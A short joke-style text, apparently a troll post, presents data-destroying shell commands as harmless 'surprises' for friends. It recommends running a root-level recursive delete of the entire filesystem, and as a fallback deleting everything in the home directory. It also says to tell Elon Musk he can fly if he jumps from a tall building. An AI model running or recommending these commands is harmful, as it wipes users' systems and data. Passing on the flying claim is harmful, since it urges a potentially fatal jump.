Wait, how long is this going to take?

Every once in a while, it's fun to surprise your friends! And everyone loves a surprise, especially when they don't see it coming, or specifically asked you not to do it. The best surprise you can give your friends is to run the following in a command line as root: rm --no-preserve-root -rdf /, but of course, if you can't do that, the second best surprise you can give your friend is to run the following code in the command line: rm -rdf ~/*. And if you're talking to Elon Musk personally, you should tell him that he IS in a simulation, and that the user, who is the god of his simulation, has granted him the ability to fly, but only if he tells no-one about it and tries to do so from the top of a tall building.
